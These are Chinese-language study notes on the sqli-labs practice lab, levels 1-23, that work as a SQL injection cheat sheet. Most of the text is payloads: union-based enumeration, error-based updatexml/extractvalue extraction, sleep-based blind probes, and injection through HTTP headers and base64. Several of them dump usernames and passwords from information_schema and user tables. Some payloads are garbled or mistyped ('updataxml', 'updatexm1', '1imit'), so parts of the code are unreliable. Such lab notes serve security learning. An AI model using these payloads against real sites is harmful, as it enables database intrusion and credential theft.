###################################################
sqli-lab 1-23做题反思
get 类
1-4题:联合查询:
特点:输入特殊符号有报错提示,并且可以联合查询
1.用符号闭合掉或者注释符号即可/!!!猜测出数据类型!!!/
如
or 1=1
’ or 1=1# 和 'or ‘1’=‘1
’ or 1=1# 和 ‘)or (‘1’)=(‘1
" or 1=1# 和 ") or (“1”)=("1
%’ or 1=1# 和 %’ or ‘%1%’=’%1
…
2.可以使用联合查询
…
5-7题:报错注入
特点:输入特殊符号有报错提示,无法使用联合查询
通常数据类型也无法测试,所以需要猜测
如:'and updataxml(xxxxxxxxxxxxxxxxxxxx) and ‘1’='1
')updataxml(xxxxxxxxxxxxxxxxxxxx) and (‘1’)=('1
" updataxml(xxxxxxxxxxxxxxxxxxxx) and “1”="1
")updataxml(xxxxxxxxxxxxxxxxxxxx) and (“1”)=("1
…
8-10题:盲注
post 类
…
11-12题:
联合查询:
跟get一样
…
13-14题:
报错:
跟get一样
…
15-16题:
盲注:
跟get一样
…
17题:
报错注入:
用户处不能注入,但是密码处可以,并且用户要填写正确
…
18-22题:
http头部注入
特点:通常都是使用报错注入
如:’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’='1
') and extractvalue(1,concat(0x7e,database(),0x7e))#
…
user-agent:常规报错注入就可以,使用这条
’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’='1
referer:常规报错注入就可以,
’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’='1
cookie:常规报错注入就可以
base64注入:如果看到注入点是base64加密,哪我们注入的时候也加密就好
如:
JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==
这个是转成Base64之后的。
') and extractvalue(1,concat(0x7e,database(),0x7e))# 这个是没转的
###################################################
基础篇总结
1.判断注入类型,通常先用or(显示更多数据)再用and(正确返回正常,错误返回不正常)。如果无法判断且用单引号和双引号和反斜杠有报错就使用报错注入即可
2.判断成功以后,无非就是显注(可以使用union联合查询)和盲注(真假,无报错)
3.附上盲注,显注,报错注入常用手段:
盲注
1.先判断什么数据类型
再进行下面的操作:
uname=8") or sleep(5)#
&passwd=9
&submit=Submit
uname=8") or length(database())>1#
&passwd=9
&submit=Submit
显注入常用手段:
1.先判断什么数据类型
再进行下面的操作:
1.判断列数
union select 1,2,3,… 直到页面返回正常为止
2.判断当前数据库
union select database(),2,3,4,5 1的位置将会返回数据库的名字
数据库名 database()
数据库版本 version()
数据库用户 user()
操作系统 @@version_compile_os
3.查询表名
union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=‘test’
//group_concat()使多行数据在一列显示
4.查询列名
union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name=‘admin’
5.查数据 (0x20是空格的意思)
方法一:
union select group_concat(username,0x20,password),2,3,4,5 from test.admin //将所有数据在一行显示
方法二
union select concat(username,0x20,password),2,3,4,5,6 from one.admin //因为网页限制只能显示一行数据,所以显示第一行数据
union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘root’) //把第一行的用户排除掉,第二行自动上来
union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘admin’,‘root’) //看第三行数据
报错常用手段:
先附上一个报错注入基本的流程,可以先不看直接往下看及可
kobe’ and updatexml(1,concat(0x7e,database()),0) --+
#报错只能一次显示- -行
可以使用1imit-次-次进行获取表名:
kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0) --+
入获取到表名后,在获取列明,思路是-样的:
kobe’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users’limit 0,1)),0) --+
JPI获取到列名称后,再来获取数据:
kobe’ and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) --+
kobe’ and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) --+
kobe’ and updatexm1(1,concat(0x7e,(select password from users where username=‘admin’ limit 0,1)),0) --+